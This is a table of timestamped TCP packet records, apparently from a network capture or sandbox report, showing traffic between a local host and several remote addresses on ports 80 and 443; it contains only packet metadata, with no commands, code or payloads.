Nov 12, 2024 10:37:34.879487038 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.879518986 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.879532099 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.879563093 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.879581928 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.887813091 CET	443	49942	20.75.60.91	192.168.2.6
Nov 12, 2024 10:37:34.888079882 CET	49942	443	192.168.2.6	20.75.60.91
Nov 12, 2024 10:37:34.888103008 CET	443	49942	20.75.60.91	192.168.2.6
Nov 12, 2024 10:37:34.888446093 CET	443	49942	20.75.60.91	192.168.2.6
Nov 12, 2024 10:37:34.888736963 CET	49942	443	192.168.2.6	20.75.60.91
Nov 12, 2024 10:37:34.888787031 CET	443	49942	20.75.60.91	192.168.2.6
Nov 12, 2024 10:37:34.889084101 CET	49942	443	192.168.2.6	20.75.60.91
Nov 12, 2024 10:37:34.895333052 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.895351887 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.895369053 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.895401001 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.895417929 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.895437956 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.895458937 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.898929119 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.898947001 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.898962975 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.899019957 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.899044991 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.899091959 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.907387972 CET	49951	443	192.168.2.6	20.125.209.212
Nov 12, 2024 10:37:34.907417059 CET	443	49951	20.125.209.212	192.168.2.6
Nov 12, 2024 10:37:34.907679081 CET	49951	443	192.168.2.6	20.125.209.212
Nov 12, 2024 10:37:34.907860041 CET	49951	443	192.168.2.6	20.125.209.212
Nov 12, 2024 10:37:34.907871008 CET	443	49951	20.125.209.212	192.168.2.6
Nov 12, 2024 10:37:34.908751965 CET	443	49945	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.908781052 CET	443	49945	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.908788919 CET	443	49945	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.908817053 CET	443	49945	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.908849001 CET	49945	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.908854008 CET	443	49945	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.908869028 CET	443	49945	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.908880949 CET	49945	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.908896923 CET	49945	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.908921957 CET	49945	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.935322046 CET	443	49942	20.75.60.91	192.168.2.6
Nov 12, 2024 10:37:34.952828884 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.952877998 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.952889919 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.952896118 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.952934027 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.952991962 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.953003883 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.953013897 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.953042030 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.953057051 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.953160048 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.953205109 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.953234911 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.953303099 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.953376055 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.953387022 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.953397036 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.953406096 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.953427076 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.953428030 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.953438997 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.953447104 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.953450918 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.953463078 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.953474998 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.953493118 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.953525066 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.953780890 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.953797102 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.953809023 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.953819036 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.953830004 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.953830957 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.953843117 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.953845978 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.953874111 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.953886986 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.954171896 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.954183102 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.954193115 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.954204082 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.954214096 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.954236031 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.954377890 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.954387903 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.954427958 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.954597950 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.954608917 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.954627991 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.954638004 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.954648018 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.954648972 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.954659939 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.954672098 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.954672098 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.954684019 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.954696894 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.954696894 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.954708099 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.954716921 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.954720020 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.954732895 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.954741955 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.954756021 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.954780102 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.955252886 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.955264091 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.955272913 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.955284119 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.955295086 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.955303907 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.955306053 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.955324888 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.955327034 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.955338955 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.955346107 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.955349922 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.955360889 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.955368042 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.955374002 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.955382109 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.955387115 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.955400944 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.955410957 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.955415964 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.955441952 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.955449104 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.955904961 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.955914974 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.955924034 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.955944061 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.955955029 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.955955982 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.955966949 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.955977917 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.955987930 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.955990076 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.956002951 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.956003904 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.956013918 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.956038952 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.956058979 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.956454992 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.956466913 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.956475973 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.956486940 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.956497908 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.956507921 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.956511021 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.956520081 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.956531048 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.956547022 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.956552982 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.956559896 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.956567049 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.956571102 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.956582069 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.956595898 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.956600904 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.956607103 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.956609011 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.956619024 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.956630945 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.956638098 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.956654072 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.956665039 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.996396065 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.996423960 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.996434927 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.996459007 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.996481895 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.996592999 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.996611118 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.996629953 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.996653080 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.010593891 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.010618925 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.010652065 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.010670900 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.010687113 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.010701895 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.010727882 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.010732889 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.010919094 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.015856981 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.015876055 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.015919924 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.015923977 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.015935898 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.015959024 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.015988111 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.027138948 CET	443	49945	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.027157068 CET	443	49945	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.027208090 CET	49945	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.027229071 CET	443	49945	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.027271032 CET	49945	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.027445078 CET	443	49945	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.027482033 CET	49945	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.069761038 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.069818974 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.069830894 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.069897890 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.069960117 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.069972038 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.070075035 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.070120096 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.070152998 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.070173025 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.070328951 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.070339918 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.070352077 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.070369005 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.070375919 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.070384979 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.070401907 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.070574045 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.070616961 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.070647001 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.070657969 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.070704937 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.070787907 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.070799112 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.070811033 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.070822001 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.070836067 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.070846081 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.070875883 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.071043968 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.071135044 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.071151018 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.071170092 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.071182966 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.071187019 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.071194887 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.071208954 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.071212053 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.071239948 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.071672916 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.071693897 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.071706057 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.071717978 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.071727037 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.071731091 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.071747065 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.071758032 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.071763039 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.071769953 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.071779013 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.071783066 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.071803093 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.071814060 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.072247982 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.072257996 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.072268963 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.072280884 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.072285891 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.072299957 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.072300911 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.072313070 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.072326899 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.072333097 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.072340012 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.072345018 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.072351933 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.072365046 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.072371006 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.072402954 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.072972059 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.072983027 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.072994947 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.073005915 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.073018074 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.073018074 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.073034048 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.073045969 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.073050976 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.073057890 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.073065996 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.073071957 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.073084116 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.073096037 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.073096037 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.073113918 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.073122978 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.073126078 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.073133945 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.073158979 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.073860884 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.073873043 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.073883057 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.073894978 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.073896885 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.073906898 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.073915005 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.073919058 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.073931932 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.073939085 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.073945045 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.073954105 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.073962927 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.073973894 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.073980093 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.073986053 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.073997974 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.074004889 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.074009895 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.074018955 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.074043036 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.074722052 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.074740887 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.074750900 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.074762106 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.074764967 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.074774027 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.074781895 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.074785948 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.074800968 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.074803114 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.074815989 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.074825048 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.074827909 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.074841022 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.074848890 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.074877024 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.078799009 CET	443	49942	20.75.60.91	192.168.2.6
Nov 12, 2024 10:37:35.078825951 CET	443	49942	20.75.60.91	192.168.2.6
Nov 12, 2024 10:37:35.078867912 CET	49942	443	192.168.2.6	20.75.60.91
Nov 12, 2024 10:37:35.078885078 CET	443	49942	20.75.60.91	192.168.2.6
Nov 12, 2024 10:37:35.079533100 CET	49942	443	192.168.2.6	20.75.60.91
Nov 12, 2024 10:37:35.079564095 CET	443	49942	20.75.60.91	192.168.2.6
Nov 12, 2024 10:37:35.079708099 CET	443	49942	20.75.60.91	192.168.2.6
Nov 12, 2024 10:37:35.079787970 CET	49942	443	192.168.2.6	20.75.60.91
Nov 12, 2024 10:37:35.079801083 CET	49942	443	192.168.2.6	20.75.60.91
Nov 12, 2024 10:37:35.088413000 CET	443	49946	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.088867903 CET	49946	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.088898897 CET	443	49946	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.089322090 CET	49946	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.089328051 CET	443	49946	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.104296923 CET	443	49948	13.107.246.45	192.168.2.6
